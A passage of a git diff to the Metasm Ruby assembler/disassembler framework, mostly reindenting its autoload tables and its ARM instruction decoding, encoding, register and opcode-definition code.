'AutoExe', + 'LinuxRemoteString' => 'LinOS', + 'LinDebugger' => 'LinOS', + 'WinAPI' => 'WinOS', + 'WindowsRemoteString' => 'WinOS', 'WinDbgAPI' => 'WinOS', + 'WinDebugger' => 'WinOS', + 'GdbRemoteString' => 'GdbClient', 'GdbRemoteDebugger' => 'GdbClient', + 'DecodedInstruction' => 'Disassembler', 'DecodedFunction' => 'Disassembler', + 'InstructionBlock' => 'Disassembler', + } - # files to require to get the definition of those constants - Const_autorequire = { - 'Ia32' => 'ia32', 'MIPS' => 'mips', 'PowerPC' => 'ppc', 'ARM' => 'arm', - 'X86_64' => 'x86_64', 'Sh4' => 'sh4', 'Dalvik' => 'dalvik', - 'C' => 'compile_c', - 'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe', - 'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff', - 'Shellcode' => 'exe_format/shellcode', 'AutoExe' => 'exe_format/autoexe', - 'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho', - 'DEX' => 'exe_format/dex', - 'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff', - 'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol', - 'Gui' => 'gui', - 'WindowsExports' => 'os/windows_exports', - 'GNUExports' => 'os/gnu_exports', - 'LinOS' => 'os/linux', 'WinOS' => 'os/windows', - 'GdbClient' => 'os/remote', - 'Disassembler' => 'disassemble', - 'Decompiler' => 'decompile', - 'DynLdr' => 'dynldr', - } + # files to require to get the definition of those constants + Const_autorequire = { + 'Ia32' => 'ia32', 'MIPS' => 'mips', 'PowerPC' => 'ppc', 'ARM' => 'arm', + 'X86_64' => 'x86_64', 'Sh4' => 'sh4', 'Dalvik' => 'dalvik', + 'C' => 'compile_c', + 'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe', + 'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff', + 'Shellcode' => 'exe_format/shellcode', 'AutoExe' => 'exe_format/autoexe', + 'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho', + 'DEX' => 'exe_format/dex', + 'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff', + 'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol', + 'Gui' => 'gui', + 'WindowsExports' => 'os/windows_exports', + 'GNUExports' => 'os/gnu_exports', + 'LinOS' => 'os/linux', 'WinOS' => 'os/windows', + 'GdbClient' => 'os/remote', + 'Disassembler' => 'disassemble', + 'Decompiler' => 'decompile', + 'DynLdr' => 'dynldr', + } - # use the Module.autoload ruby functionnality to load framework components on demand - Const_autorequire.each { |cst, file| - autoload cst, File.join('metasm', file) - } + # use the Module.autoload ruby functionnality to load framework components on demand + Const_autorequire.each { |cst, file| + autoload cst, File.join('metasm', file) + } - Const_autorequire_equiv.each { |cst, eqv| - file = Const_autorequire[eqv] - autoload cst, File.join('metasm', file) - } + Const_autorequire_equiv.each { |cst, eqv| + file = Const_autorequire[eqv] + autoload cst, File.join('metasm', file) + } end # load Metasm core files %w[main encode decode render exe_format/main os/main].each { |f| - require File.join('metasm', f) + require File.join('metasm', f) } # remove an 1.9 warning, couldn't find a compatible way... if Hash.new.respond_to?(:key) - puts "using ruby1.9 workaround for Hash#index warning" if $DEBUG - class Hash - alias index_premetasm index rescue nil - undef index rescue nil - alias index key - end + puts "using ruby1.9 workaround for Hash#index warning" if $DEBUG + class Hash + alias index_premetasm index rescue nil + undef index rescue nil + alias index key + end end diff --git a/lib/metasm/metasm/arm/debug.rb b/lib/metasm/metasm/arm/debug.rb index 9f9849889cf2d..acfd579a46dda 100644 --- a/lib/metasm/metasm/arm/debug.rb +++ b/lib/metasm/metasm/arm/debug.rb @@ -8,32 +8,32 @@ module Metasm class ARM - def dbg_register_pc - @dbg_register_pc ||= :pc - end - def dbg_register_flags - @dbg_register_flags ||= :flags - end - - def dbg_register_list - @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc] - end - - def dbg_flag_list - @dbg_flag_list ||= [] - end - - def dbg_register_size - @dbg_register_size ||= Hash.new(32) - end - - def dbg_need_stepover(dbg, addr, di) - di and di.opcode.props[:saveip] - end - - def dbg_end_stepout(dbg, addr, di) - di and di.opcode.name == 'foobar' # TODO - end + def dbg_register_pc + @dbg_register_pc ||= :pc + end + def dbg_register_flags + @dbg_register_flags ||= :flags + end + + def dbg_register_list + @dbg_register_list ||= [:r0, :r1, :r2, :r3, :r4, :r5, :r6, :r7, :r8, :r9, :r10, :r11, :r12, :sp, :lr, :pc] + end + + def dbg_flag_list + @dbg_flag_list ||= [] + end + + def dbg_register_size + @dbg_register_size ||= Hash.new(32) + end + + def dbg_need_stepover(dbg, addr, di) + di and di.opcode.props[:saveip] + end + + def dbg_end_stepout(dbg, addr, di) + di and di.opcode.name == 'foobar' # TODO + end end end diff --git a/lib/metasm/metasm/arm/decode.rb b/lib/metasm/metasm/arm/decode.rb index 06260ff49fc87..3dbf7a3053fcd 100644 --- a/lib/metasm/metasm/arm/decode.rb +++ b/lib/metasm/metasm/arm/decode.rb @@ -8,160 +8,160 @@ module Metasm class ARM - # create the bin_mask for a given opcode - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = 0 - op.fields.each { |k, (m, s)| - op.bin_mask |= m << s - } - op.bin_mask = 0xffffffff ^ op.bin_mask - end - - # create the lookaside hash from the first byte of the opcode - def build_bin_lookaside - lookaside = Array.new(256) { [] } - - opcode_list.each { |op| - build_opcode_bin_mask op - - b = (op.bin >> 20) & 0xff - msk = (op.bin_mask >> 20) & 0xff - b &= msk - - for i in b..(b | (255^msk)) - lookaside[i] << op if i & msk == b - end - } - - lookaside - end - - def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - di.instance_variable_set('@raw', val) - di if di.opcode = @bin_lookaside[(val >> 20) & 0xff].find { |op| - (not op.props[:cond] or - ((val >> @fields_shift[:cond]) & @fields_mask[:cond]) != 0xf) and - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - - def disassembler_default_func - df = DecodedFunction.new - df - end - - def decode_instr_op(edata, di) - op = di.opcode - di.instruction.opname = op.name - val = di.instance_variable_get('@raw') - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :i16; Expression.make_signed(r, 16) - when :i24; Expression.make_signed(r, 24) - when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf) - when :stype; [:lsl, :lsr, :asr, :ror][r] - when :u; [:-, :+][r] - else r - end - } - - if op.props[:cond] - cd = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al][field_val[:cond]] - if cd != 'al' - di.opcode = di.opcode.dup - di.instruction.opname = di.opcode.name.dup - di.instruction.opname[(op.props[:cond_name_off] || di.opcode.name.length), 0] = cd - if di.opcode.props[:stopexec] - di.opcode.props = di.opcode.props.dup - di.opcode.props.delete :stopexec - end - end - end - - op.args.each { |a| - di.instruction.args << case a - when :rd, :rn, :rm; Reg.new field_val[a] - when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs]) - when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]*2 - when :i24; Expression[field_val[a] << 2] - when :i8_r - i = field_val[:i8] - r = field_val[:rotate]*2 - Expression[((i >> r) | (i << (32-r))) & 0xffff_ffff] - when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 - b = Reg.new(field_val[:rn]) - o = case a - when :mem_rn_rm; Reg.new(field_val[:rm]) - when :mem_rn_i8_12; field_val[:i8_12] - when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]*2) - when :mem_rn_i12; field_val[:i12] - end - Memref.new(b, o, field_val[:u], op.props[:baseincr]) - when :reglist - di.instruction.args.last.updated = true if op.props[:baseincr] - msk = field_val[a] - l = RegList.new((0..15).map { |i| Reg.new(i) if (msk & (1 << i)) > 0 }.compact) - l.usermoderegs = true if op.props[:usermoderegs] - l - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length = 4 - di - end - - def decode_instr_interpret(di, addr) - if di.opcode.args.include? :i24 - di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8] - end - di - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end + # create the bin_mask for a given opcode + def build_opcode_bin_mask(op) + # bit = 0 if can be mutated by an field value, 1 if fixed by opcode + op.bin_mask = 0 + op.fields.each { |k, (m, s)| + op.bin_mask |= m << s + } + op.bin_mask = 0xffffffff ^ op.bin_mask + end + + # create the lookaside hash from the first byte of the opcode + def build_bin_lookaside + lookaside = Array.new(256) { [] } + + opcode_list.each { |op| + build_opcode_bin_mask op + + b = (op.bin >> 20) & 0xff + msk = (op.bin_mask >> 20) & 0xff + b &= msk + + for i in b..(b | (255^msk)) + lookaside[i] << op if i & msk == b + end + } + + lookaside + end + + def decode_findopcode(edata) + return if edata.ptr >= edata.data.length + di = DecodedInstruction.new(self) + val = edata.decode_imm(:u32, @endianness) + di.instance_variable_set('@raw', val) + di if di.opcode = @bin_lookaside[(val >> 20) & 0xff].find { |op| + (not op.props[:cond] or + ((val >> @fields_shift[:cond]) & @fields_mask[:cond]) != 0xf) and + (op.bin & op.bin_mask) == (val & op.bin_mask) + } + end + + def disassembler_default_func + df = DecodedFunction.new + df + end + + def decode_instr_op(edata, di) + op = di.opcode + di.instruction.opname = op.name + val = di.instance_variable_get('@raw') + + field_val = lambda { |f| + r = (val >> @fields_shift[f]) & @fields_mask[f] + case f + when :i16; Expression.make_signed(r, 16) + when :i24; Expression.make_signed(r, 24) + when :i8_12; ((r >> 4) & 0xf0) | (r & 0xf) + when :stype; [:lsl, :lsr, :asr, :ror][r] + when :u; [:-, :+][r] + else r + end + } + + if op.props[:cond] + cd = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al][field_val[:cond]] + if cd != 'al' + di.opcode = di.opcode.dup + di.instruction.opname = di.opcode.name.dup + di.instruction.opname[(op.props[:cond_name_off] || di.opcode.name.length), 0] = cd + if di.opcode.props[:stopexec] + di.opcode.props = di.opcode.props.dup + di.opcode.props.delete :stopexec + end + end + end + + op.args.each { |a| + di.instruction.args << case a + when :rd, :rn, :rm; Reg.new field_val[a] + when :rm_rs; Reg.new field_val[:rm], field_val[:stype], Reg.new(field_val[:rs]) + when :rm_is; Reg.new field_val[:rm], field_val[:stype], field_val[:shifti]*2 + when :i24; Expression[field_val[a] << 2] + when :i8_r + i = field_val[:i8] + r = field_val[:rotate]*2 + Expression[((i >> r) | (i << (32-r))) & 0xffff_ffff] + when :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12 + b = Reg.new(field_val[:rn]) + o = case a + when :mem_rn_rm; Reg.new(field_val[:rm]) + when :mem_rn_i8_12; field_val[:i8_12] + when :mem_rn_rms; Reg.new(field_val[:rm], field_val[:stype], field_val[:shifti]*2) + when :mem_rn_i12; field_val[:i12] + end + Memref.new(b, o, field_val[:u], op.props[:baseincr]) + when :reglist + di.instruction.args.last.updated = true if op.props[:baseincr] + msk = field_val[a] + l = RegList.new((0..15).map { |i| Reg.new(i) if (msk & (1 << i)) > 0 }.compact) + l.usermoderegs = true if op.props[:usermoderegs] + l + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length = 4 + di + end + + def decode_instr_interpret(di, addr) + if di.opcode.args.include? :i24 + di.instruction.args[-1] = Expression[di.instruction.args[-1] + addr + 8] + end + di + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end - def init_backtrace_binding - @backtrace_binding ||= {} - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Reg; arg.symbolic - when Memref; arg.symbolic(di.address) - else arg - end - } - - if binding = backtrace_binding[di.opcode.name] - bd = binding[di, *a] - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - - end - - def get_xrefs_x(dasm, di) - if di.opcode.props[:setip] - [di.instruction.args.last] - else - # TODO ldr pc, .. - [] - end - end + def init_backtrace_binding + @backtrace_binding ||= {} + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when Reg; arg.symbolic + when Memref; arg.symbolic(di.address) + else arg + end + } + + if binding = backtrace_binding[di.opcode.name] + bd = binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + # assume nothing except the 1st arg is modified + case a[0] + when Indirection, Symbol; { a[0] => Expression::Unknown } + when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} + else {} + end.update(:incomplete_binding => Expression[1]) + end + + end + + def get_xrefs_x(dasm, di) + if di.opcode.props[:setip] + [di.instruction.args.last] + else + # TODO ldr pc, .. + [] + end + end end end diff --git a/lib/metasm/metasm/arm/encode.rb b/lib/metasm/metasm/arm/encode.rb index cbf1ecefea8f9..05f139328501e 100644 --- a/lib/metasm/metasm/arm/encode.rb +++ b/lib/metasm/metasm/arm/encode.rb @@ -9,69 +9,69 @@ module Metasm class ARM - def encode_instr_op(section, instr, op) - base = op.bin - set_field = lambda { |f, v| - v = v.reduce if v.kind_of? Expression - case f - when :i8_12 - base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]] - next - when :stype; v = [:lsl, :lsr, :asr, :ror].index(v) - when :u; v = [:-, :+].index(v) - end - base = Expression[base, :|, [[v, :&, @fields_mask[f]], :<<, @fields_shift[f]]] - } + def encode_instr_op(section, instr, op) + base = op.bin + set_field = lambda { |f, v| + v = v.reduce if v.kind_of? Expression + case f + when :i8_12 + base = Expression[base, :|, [[v, :&, 0xf], :|, [[v, :<<, 4], :&, 0xf00]]] + next + when :stype; v = [:lsl, :lsr, :asr, :ror].index(v) + when :u; v = [:-, :+].index(v) + end + base = Expression[base, :|, [[v, :&, @fields_mask[f]], :<<, @fields_shift[f]]] + } - val, mask, shift = 0, 0, 0 + val, mask, shift = 0, 0, 0 - if op.props[:cond] - coff = op.props[:cond_name_off] || op.name.length - cd = instr.opname[coff, 2] - cdi = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].index(cd) || 14 # default = al - set_field[:cond, cdi] - end + if op.props[:cond] + coff = op.props[:cond_name_off] || op.name.length + cd = instr.opname[coff, 2] + cdi = %w[eq ne cs cc mi pl vs vc hi ls ge lt gt le al].index(cd) || 14 # default = al + set_field[:cond, cdi] + end - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rd, :rs, :rn, :rm; set_field[sym, arg.i] - when :rm_rs - set_field[:rm, arg.i] - set_field[:stype, arg.stype] - set_field[:rs, arg.shift.i] - when :rm_is - set_field[:rm, arg.i] - set_field[:stype, arg.stype] - set_field[:shifti, arg.shift/2] - when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12 - set_field[:rn, arg.base.i] - case sym - when :mem_rn_rm - set_field[:rm, arg.offset.i] - when :mem_rn_rms - set_field[:rm, arg.offset.i] - set_field[:stype, arg.offset.stype] - set_field[:rs, arg.offset.shift.i] - when :mem_rn_i8_12 - set_field[:i8_12, arg.offset] - when :mem_rn_i12 - set_field[:i12, arg.offset] - end - # TODO set_field[:u] etc - when :reglist - set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }] - when :i8_r - # XXX doublecheck this - b = arg.reduce & 0xffffffff - r = (0..15).find { next true if b < 0x10 ; b = (b >> 2) | ((b & 3) << 30) } - set_field[:i8, b] - set_field[:rotate, r] - when :i16, :i24 - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - end - } + op.args.zip(instr.args).each { |sym, arg| + case sym + when :rd, :rs, :rn, :rm; set_field[sym, arg.i] + when :rm_rs + set_field[:rm, arg.i] + set_field[:stype, arg.stype] + set_field[:rs, arg.shift.i] + when :rm_is + set_field[:rm, arg.i] + set_field[:stype, arg.stype] + set_field[:shifti, arg.shift/2] + when :mem_rn_rm, :mem_rn_rms, :mem_rn_i8_12, :mem_rn_i12 + set_field[:rn, arg.base.i] + case sym + when :mem_rn_rm + set_field[:rm, arg.offset.i] + when :mem_rn_rms + set_field[:rm, arg.offset.i] + set_field[:stype, arg.offset.stype] + set_field[:rs, arg.offset.shift.i] + when :mem_rn_i8_12 + set_field[:i8_12, arg.offset] + when :mem_rn_i12 + set_field[:i12, arg.offset] + end + # TODO set_field[:u] etc + when :reglist + set_field[sym, arg.list.inject(0) { |rl, r| rl | (1 << r.i) }] + when :i8_r + # XXX doublecheck this + b = arg.reduce & 0xffffffff + r = (0..15).find { next true if b < 0x10 ; b = (b >> 2) | ((b & 3) << 30) } + set_field[:i8, b] + set_field[:rotate, r] + when :i16, :i24 + val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] + end + } - Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) - end + Expression[base, :|, [[val, :<<, shift], :&, mask]].encode(:u32, @endianness) + end end end diff --git a/lib/metasm/metasm/arm/main.rb b/lib/metasm/metasm/arm/main.rb index 0c622966bbb6e..ab9a36a3a566d 100644 --- a/lib/metasm/metasm/arm/main.rb +++ b/lib/metasm/metasm/arm/main.rb @@ -8,65 +8,65 @@ module Metasm class ARM < CPU - class Reg - class << self - attr_accessor :s_to_i, :i_to_s - end - @i_to_s = %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] - @s_to_i = { 'wr' => 7, 'sb' => 9, 'sl' => 10, 'fp' => 11, 'ip' => 12, 'sp' => 13, 'lr' => 14, 'pc' => 15 } - 15.times { |i| @s_to_i["r#{i}"] = i } - 4.times { |i| @s_to_i["a#{i+1}"] = i } - 8.times { |i| @s_to_i["v#{i+1}"] = i+4 } + class Reg + class << self + attr_accessor :s_to_i, :i_to_s + end + @i_to_s = %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] + @s_to_i = { 'wr' => 7, 'sb' => 9, 'sl' => 10, 'fp' => 11, 'ip' => 12, 'sp' => 13, 'lr' => 14, 'pc' => 15 } + 15.times { |i| @s_to_i["r#{i}"] = i } + 4.times { |i| @s_to_i["a#{i+1}"] = i } + 8.times { |i| @s_to_i["v#{i+1}"] = i+4 } - attr_accessor :i, :stype, :shift, :updated - def initialize(i, stype=:lsl, shift=0) - @i = i - @stype = stype - @shift = shift - end + attr_accessor :i, :stype, :shift, :updated + def initialize(i, stype=:lsl, shift=0) + @i = i + @stype = stype + @shift = shift + end - def symbolic - r = self.class.i_to_s[@i].to_sym - if @stype == :lsl and @shift == 0 - r - else - r # TODO shift/rotate/... - end - end - end + def symbolic + r = self.class.i_to_s[@i].to_sym + if @stype == :lsl and @shift == 0 + r + else + r # TODO shift/rotate/... + end + end + end - class Memref - attr_accessor :base, :offset, :sign, :incr - def initialize(base, offset, sign=:+, incr=nil) - @base, @offset, @sign, @incr = base, offset, sign, incr - end + class Memref + attr_accessor :base, :offset, :sign, :incr + def initialize(base, offset, sign=:+, incr=nil) + @base, @offset, @sign, @incr = base, offset, sign, incr + end - def symbolic(len=4, orig=nil) - o = @offset - o = o.symbolic if o.kind_of? Reg - p = Expression[@base.symbolic, @sign, o].reduce - Indirection[p, len, orig] - end - end + def symbolic(len=4, orig=nil) + o = @offset + o = o.symbolic if o.kind_of? Reg + p = Expression[@base.symbolic, @sign, o].reduce + Indirection[p, len, orig] + end + end - class RegList - attr_accessor :list, :usermoderegs + class RegList + attr_accessor :list, :usermoderegs - def initialize(l=[]) - @list = l - end - end + def initialize(l=[]) + @list = l + end + end - def initialize(endianness = :little) - super() - @endianness = endianness - @size = 32 - end + def initialize(endianness = :little) + super() + @endianness = endianness + @size = 32 + end - def init_opcode_list - init_latest - @opcode_list - end + def init_opcode_list + init_latest + @opcode_list + end end class ARM_THUMB < ARM diff --git a/lib/metasm/metasm/arm/opcodes.rb b/lib/metasm/metasm/arm/opcodes.rb index 0aa3eed5174c4..4055c2297c806 100644 --- a/lib/metasm/metasm/arm/opcodes.rb +++ b/lib/metasm/metasm/arm/opcodes.rb @@ -8,170 +8,170 @@ module Metasm class ARM - private - def addop(name, bin, *args) - args << :cond if not args.delete :uncond - - o = Opcode.new name, bin - o.args.concat(args & @valid_args) - (args & @valid_props).each { |p| o.props[p] = true } - args.grep(Hash).each { |h| o.props.update h } - - # special args -> multiple fields - case (o.args & [:i8_r, :rm_is, :rm_rs, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]).first - when :i8_r; args << :i8 << :rotate - when :rm_is; args << :rm << :stype << :shifti - when :rm_rs; args << :rm << :stype << :rs - when :mem_rn_rm; args << :rn << :rm << :rsx << :u - when :mem_rn_i8_12; args << :rn << :i8_12 << :u - when :mem_rn_rms; args << :rn << :rm << :stype << :shifti << :u - when :mem_rn_i12; args << :rn << :i12 << :u - end - - (args & @fields_mask.keys).each { |f| - o.fields[f] = [@fields_mask[f], @fields_shift[f]] - } - - @opcode_list << o - end - - def addop_data_s(name, op, a1, a2, *h) - addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h - addop name, op, a1, a2, :rm_is, *h - addop name, op | (1 << 4), a1, a2, :rm_rs, *h - end - def addop_data(name, op, a1, a2) - addop_data_s name, op << 21, a1, a2 - addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length - end - - def addop_load_puw(name, op, *a) - addop name, op, {:baseincr => :post}, :rd, :u, *a - addop name, op | (1 << 24), :rd, :u, *a - addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a - end - def addop_load_lsh_o(name, op) - addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} - addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} - end - def addop_load_lsh - op = 9 << 4 - addop_load_lsh_o 'strh', op | (1 << 5) - addop_load_lsh_o 'ldrd', op | (1 << 6) - addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5) - addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) - addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) - addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) - end - - def addop_load_puwt(name, op, *a) - addop_load_puw name, op, *a - addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a - end - def addop_load_o(name, op, *a) - addop_load_puwt name, op, :mem_rn_i12, *a - addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a - end - def addop_load(name, op) - addop_load_o name, op - addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length - end - - def addop_ldm_go(name, op, *a) - addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a - end - def addop_ldm_w(name, op, *a) - addop_ldm_go name, op, *a # base reg untouched - addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated - end - def addop_ldm_s(name, op) - addop_ldm_w name, op # transfer regs - addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs - end - def addop_ldm_p(name, op) - addop_ldm_s name+'a', op # target memory included - addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr - end - def addop_ldm_u(name, op) - addop_ldm_p name+'d', op # transfer made downward - addop_ldm_p name+'i', op | (1 << 23) # transfer made upward - end - def addop_ldm(name, op) - addop_ldm_u name, op - end - - # ARMv6 instruction set, aka arm7/arm9 - def init_arm_v6 - @opcode_list = [] - @valid_props << :baseincr << :cond << :cond_name_off << :usermoderegs << - :tothumb << :tojazelle - @valid_args.concat [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, - :rm_rs, :rm_is, :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12] - @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, - :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, - :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, - :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, - :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, - :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf - - @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, - :crn => 16, :crd => 12, :crm => 0, :cpn => 8, - :rnx => 16, :rdx => 12, :rsx => 8, - :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, - :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, - :u => 23, :mask => 16, :sbo => 12, :cond => 28 - - addop_data 'and', 0, :rd, :rn - addop_data 'eor', 1, :rd, :rn - addop_data 'xor', 1, :rd, :rn - addop_data 'sub', 2, :rd, :rn - addop_data 'rsb', 3, :rd, :rn - addop_data 'add', 4, :rd, :rn - addop_data 'adc', 5, :rd, :rn - addop_data 'sbc', 6, :rd, :rn - addop_data 'rsc', 7, :rd, :rn - addop_data 'tst', 8, :rdx, :rn - addop_data 'teq', 9, :rdx, :rn - addop_data 'cmp', 10, :rdx, :rn - addop_data 'cmn', 11, :rdx, :rn - addop_data 'orr', 12, :rd, :rn - addop_data 'or', 12, :rd, :rn - addop_data 'mov', 13, :rd, :rnx - addop_data 'bic', 14, :rd, :rn - addop_data 'mvn', 15, :rd, :rnx - - addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 - addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip - addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef - addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :nocond, :i24 - addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm - addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm - addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle - - addop_load 'str', (1 << 26) - addop_load 'ldr', (1 << 26) | (1 << 20) - addop_load_lsh - addop_ldm 'stm', (1 << 27) - addop_ldm 'ldm', (1 << 27) | (1 << 20) - end - alias init_latest init_arm_v6 + private + def addop(name, bin, *args) + args << :cond if not args.delete :uncond + + o = Opcode.new name, bin + o.args.concat(args & @valid_args) + (args & @valid_props).each { |p| o.props[p] = true } + args.grep(Hash).each { |h| o.props.update h } + + # special args -> multiple fields + case (o.args & [:i8_r, :rm_is, :rm_rs, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]).first + when :i8_r; args << :i8 << :rotate + when :rm_is; args << :rm << :stype << :shifti + when :rm_rs; args << :rm << :stype << :rs + when :mem_rn_rm; args << :rn << :rm << :rsx << :u + when :mem_rn_i8_12; args << :rn << :i8_12 << :u + when :mem_rn_rms; args << :rn << :rm << :stype << :shifti << :u + when :mem_rn_i12; args << :rn << :i12 << :u + end + + (args & @fields_mask.keys).each { |f| + o.fields[f] = [@fields_mask[f], @fields_shift[f]] + } + + @opcode_list << o + end + + def addop_data_s(name, op, a1, a2, *h) + addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h + addop name, op, a1, a2, :rm_is, *h + addop name, op | (1 << 4), a1, a2, :rm_rs, *h + end + def addop_data(name, op, a1, a2) + addop_data_s name, op << 21, a1, a2 + addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length + end + + def addop_load_puw(name, op, *a) + addop name, op, {:baseincr => :post}, :rd, :u, *a + addop name, op | (1 << 24), :rd, :u, *a + addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a + end + def addop_load_lsh_o(name, op) + addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} + addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} + end + def addop_load_lsh + op = 9 << 4 + addop_load_lsh_o 'strh', op | (1 << 5) + addop_load_lsh_o 'ldrd', op | (1 << 6) + addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5) + addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) + addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) + addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) + end + + def addop_load_puwt(name, op, *a) + addop_load_puw name, op, *a + addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a + end + def addop_load_o(name, op, *a) + addop_load_puwt name, op, :mem_rn_i12, *a + addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a + end + def addop_load(name, op) + addop_load_o name, op + addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length + end + + def addop_ldm_go(name, op, *a) + addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a + end + def addop_ldm_w(name, op, *a) + addop_ldm_go name, op, *a # base reg untouched + addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated + end + def addop_ldm_s(name, op) + addop_ldm_w name, op # transfer regs + addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs + end + def addop_ldm_p(name, op) + addop_ldm_s name+'a', op # target memory included + addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr + end + def addop_ldm_u(name, op) + addop_ldm_p 